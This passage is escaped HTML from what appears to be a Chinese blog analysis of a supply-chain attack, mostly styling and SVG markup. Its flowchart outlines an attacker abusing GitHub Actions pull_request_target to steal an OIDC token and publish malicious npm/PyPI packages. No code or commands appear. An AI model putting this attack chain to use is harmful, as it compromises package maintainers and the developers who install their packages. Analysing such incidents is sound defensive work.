rgb(255, 107, 107); border-radius: 4px; background-color: rgb(255, 224, 224); color: rgb(214, 48, 49); font-family: monospace; font-size: 12px;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; font-weight: 700; font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;渲染错误:&lt;/span&gt;&amp;nbsp;Mermaid 渲染失败: Parse error on line 6: ...版本 2026-05-10 14:00 : 恶意版本开始在全球范围内传播 ----------------------^ Expecting &amp;#39;EOF&amp;#39;, &amp;#39;SPACE&amp;#39;, &amp;#39;NEWLINE&amp;#39;, &amp;#39;title&amp;#39;, &amp;#39;acc_title&amp;#39;, &amp;#39;acc_descr&amp;#39;, &amp;#39;acc_descr_multiline_value&amp;#39;, &amp;#39;section&amp;#39;, &amp;#39;period&amp;#39;, &amp;#39;event&amp;#39;, got &amp;#39;INVALID&amp;#39;&lt;/div&gt;&lt;h3 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 18px; color: rgb(79, 79, 79); line-height: 28px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;_27&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;三、攻击技术深度解析&lt;/h3&gt;&lt;h4 style=&quot;box-sizing: border-box; outline: 0px; margin: 24px 0px 8px; padding: 0px; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, SimHei, Arial, SimSun; font-size: 16px; color: rgb(79, 79, 79); line-height: 26px; font-synthesis-style: auto; overflow-wrap: break-word; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a id=&quot;31__29&quot; style=&quot;box-sizing: border-box; outline: none; margin: 0px; padding: 0px; font-weight: normal; cursor: pointer; background-color: transparent; color: rgb(78, 161, 219); font-synthesis-style: auto; overflow-wrap: break-word;&quot;&gt;&lt;/a&gt;3.1 核心攻击链流程图&lt;/h4&gt;&lt;div class=&quot;mermaid mermaid-newversion mermaid-flowchart&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-size: 16px; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif, SimHei, SimSun; font-variant-ligatures: no-common-ligatures; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;svg id=&quot;mermaid-svg-LBFYIWWysshnkGEn&quot; width=&quot;100%&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;flowchart&quot; style=&quot;max-width: 839.5626220703125px;&quot; viewbox=&quot;0.0000152587890625 0.0000057220458984375 839.5626220703125 798.0000610351562&quot;&gt;&lt;g&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd&quot; class=&quot;marker flowchart-v2&quot; viewbox=&quot;0 0 10 10&quot; refx=&quot;5&quot; refy=&quot;5&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;8&quot; markerheight=&quot;8&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointStart&quot; class=&quot;marker flowchart-v2&quot; viewbox=&quot;0 0 10 10&quot; refx=&quot;4.5&quot; refy=&quot;5&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;8&quot; markerheight=&quot;8&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 5 L 10 10 L 10 0 z&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-circleEnd&quot; class=&quot;marker flowchart-v2&quot; viewbox=&quot;0 0 10 10&quot; refx=&quot;11&quot; refy=&quot;5&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;11&quot; markerheight=&quot;11&quot; orient=&quot;auto&quot;&gt;&lt;circle cx=&quot;5&quot; cy=&quot;5&quot; r=&quot;5&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/circle&gt;&lt;/marker&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-circleStart&quot; class=&quot;marker flowchart-v2&quot; viewbox=&quot;0 0 10 10&quot; refx=&quot;-1&quot; refy=&quot;5&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;11&quot; markerheight=&quot;11&quot; orient=&quot;auto&quot;&gt;&lt;circle cx=&quot;5&quot; cy=&quot;5&quot; r=&quot;5&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/circle&gt;&lt;/marker&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-crossEnd&quot; class=&quot;marker cross flowchart-v2&quot; viewbox=&quot;0 0 11 11&quot; refx=&quot;12&quot; refy=&quot;5.2&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;11&quot; markerheight=&quot;11&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 1,1 l 9,9 M 10,1 l -9,9&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 2; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;marker id=&quot;mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-crossStart&quot; class=&quot;marker cross flowchart-v2&quot; viewbox=&quot;0 0 11 11&quot; refx=&quot;-1&quot; refy=&quot;5.2&quot; markerunits=&quot;userSpaceOnUse&quot; markerwidth=&quot;11&quot; markerheight=&quot;11&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 1,1 l 9,9 M 10,1 l -9,9&quot; class=&quot;arrowMarkerPath&quot; style=&quot;stroke-width: 2; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;g class=&quot;root&quot;&gt;&lt;g class=&quot;clusters&quot;&gt;&lt;/g&gt;&lt;g class=&quot;edgePaths&quot;&gt;&lt;path d=&quot;M443.563,62L443.563,66.167C443.563,70.333,443.563,78.667,443.563,86.333C443.563,94,443.563,101,443.563,104.5L443.563,108&quot; id=&quot;L_A_B_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,166L443.563,170.167C443.563,174.333,443.563,182.667,443.563,190.333C443.563,198,443.563,205,443.563,208.5L443.563,212&quot; id=&quot;L_B_C_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,270L443.563,274.167C443.563,278.333,443.563,286.667,443.563,294.333C443.563,302,443.563,309,443.563,312.5L443.563,316&quot; id=&quot;L_C_D_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,374L443.563,378.167C443.563,382.333,443.563,390.667,443.563,398.333C443.563,406,443.563,413,443.563,416.5L443.563,420&quot; id=&quot;L_D_E_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,478L443.563,482.167C443.563,486.333,443.563,494.667,443.563,502.333C443.563,510,443.563,517,443.563,520.5L443.563,524&quot; id=&quot;L_E_F_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,582L443.563,586.167C443.563,590.333,443.563,598.667,443.563,606.333C443.563,614,443.563,621,443.563,624.5L443.563,628&quot; id=&quot;L_F_G_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M325.563,679.886L296.266,685.072C266.969,690.258,208.375,700.629,179.078,709.314C149.781,718,149.781,725,149.781,728.5L149.781,732&quot; id=&quot;L_G_H_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M443.563,686L443.563,690.167C443.563,694.333,443.563,702.667,443.563,710.333C443.563,718,443.563,725,443.563,728.5L443.563,732&quot; id=&quot;L_G_I_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M561.563,681.726L586.896,686.605C612.229,691.484,662.896,701.242,688.229,709.621C713.563,718,713.563,725,713.563,728.5L713.563,732&quot; id=&quot;L_G_J_0&quot; class=&quot;edge-thickness-normal edge-pattern-solid edge-thickness-normal edge-pattern-solid flowchart-link&quot; marker-end=&quot;url(#mermaid-svg-LBFYIWWysshnkGEn_flowchart-v2-pointEnd)&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabels&quot;&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;edgeLabel&quot;&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(0, 0)&quot;&gt;&lt;foreignobject width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;div class=&quot;labelBkg&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.5); display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 200px; text-align: center;&quot;&gt;&lt;span class=&quot;edgeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; background-color: rgba(232, 232, 232, 0.8); fill: #333333; color: #333333;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;nodes&quot;&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-A-0&quot; transform=&quot;translate(443.5625305175781, 35.00000190734863)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-95.12053680419922&quot; y=&quot;-27.000001907348633&quot; width=&quot;190.24107360839844&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-65.12053680419922, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;130.24107360839844&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span class=&quot;nodeLabel&quot; style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #333333;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;&lt;span style=&quot;color: #FFFFFF;&quot;&gt;攻击者提交恶意PR&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-B-1&quot; transform=&quot;translate(443.5625305175781, 139.0000057220459)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-122.93303680419922&quot; y=&quot;-27.000001907348633&quot; width=&quot;245.86607360839844&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-92.93303680419922, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;185.86607360839844&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;触发GitHub Actions流水线&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-C-3&quot; transform=&quot;translate(443.5625305175781, 243.00000953674316)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-165.0491180419922&quot; y=&quot;-27.000001907348633&quot; width=&quot;330.0982360839844&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-135.0491180419922, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;270.0982360839844&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;利用pull_request_target执行恶意代码&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-D-5&quot; transform=&quot;translate(443.5625305175781, 347.00001335144043)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-103.3125&quot; y=&quot;-27.000001907348633&quot; width=&quot;206.625&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-73.3125, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;146.625&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;提取运行时OIDC令牌&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-E-7&quot; transform=&quot;translate(443.5625305175781, 451.0000171661377)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-144.75894165039062&quot; y=&quot;-27.000001907348633&quot; width=&quot;289.51788330078125&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-114.75894165039062, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;229.51788330078125&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;使用令牌向npm/PyPI发布恶意包&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-F-9&quot; transform=&quot;translate(443.5625305175781, 555.000020980835)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-118.00001525878906&quot; y=&quot;-27.000001907348633&quot; width=&quot;236.00003051757812&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-88.00001525878906, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;176.00003051757812&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;全球开发者自动更新依赖&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-G-11&quot; transform=&quot;translate(443.5625305175781, 659.0000247955322)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-118.00001525878906&quot; y=&quot;-27.000001907348633&quot; width=&quot;236.00003051757812&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-88.00001525878906, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;176.00003051757812&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset !important;&quot;&gt;恶意代码在用户环境执行&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;/foreignobject&gt;&lt;/g&gt;&lt;/g&gt;&lt;g class=&quot;node default&quot; id=&quot;flowchart-H-13&quot; transform=&quot;translate(149.78126525878906, 763.0000286102295)&quot;&gt;&lt;rect class=&quot;basic label-container&quot; x=&quot;-141.78126525878906&quot; y=&quot;-27.000001907348633&quot; width=&quot;283.5625305175781&quot; height=&quot;54.000003814697266&quot;&gt;&lt;/rect&gt;&lt;g class=&quot;label&quot; transform=&quot;translate(-111.78126525878906, -12.000001907348633)&quot;&gt;&lt;rect&gt;&lt;/rect&gt;&lt;foreignobject width=&quot;223.56253051757812&quot; height=&quot;24.000003814697266&quot;&gt;&lt;div style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; display: table-cell; text-wrap: nowrap; line-height: 1.5; max-width: 580px; text-align: center;&quot;&gt;&lt;span style=&quot;box-sizing: border-box; outline: 0px; margin: 0px; padding: 0px; font-synthesis-style: auto; overflow-wrap: break-word; fill: #333333; color: #FFFFFF;&quot;&gt;&lt;p style=&quot;box-sizing: border-box; outline: 0px; margin-top: 0px; margin-bottom: 0px; padding: 0px; color: inherit; overflow: auto hidden; font-synthesis-style: auto; overflow-wrap: break-word; line-height: unset 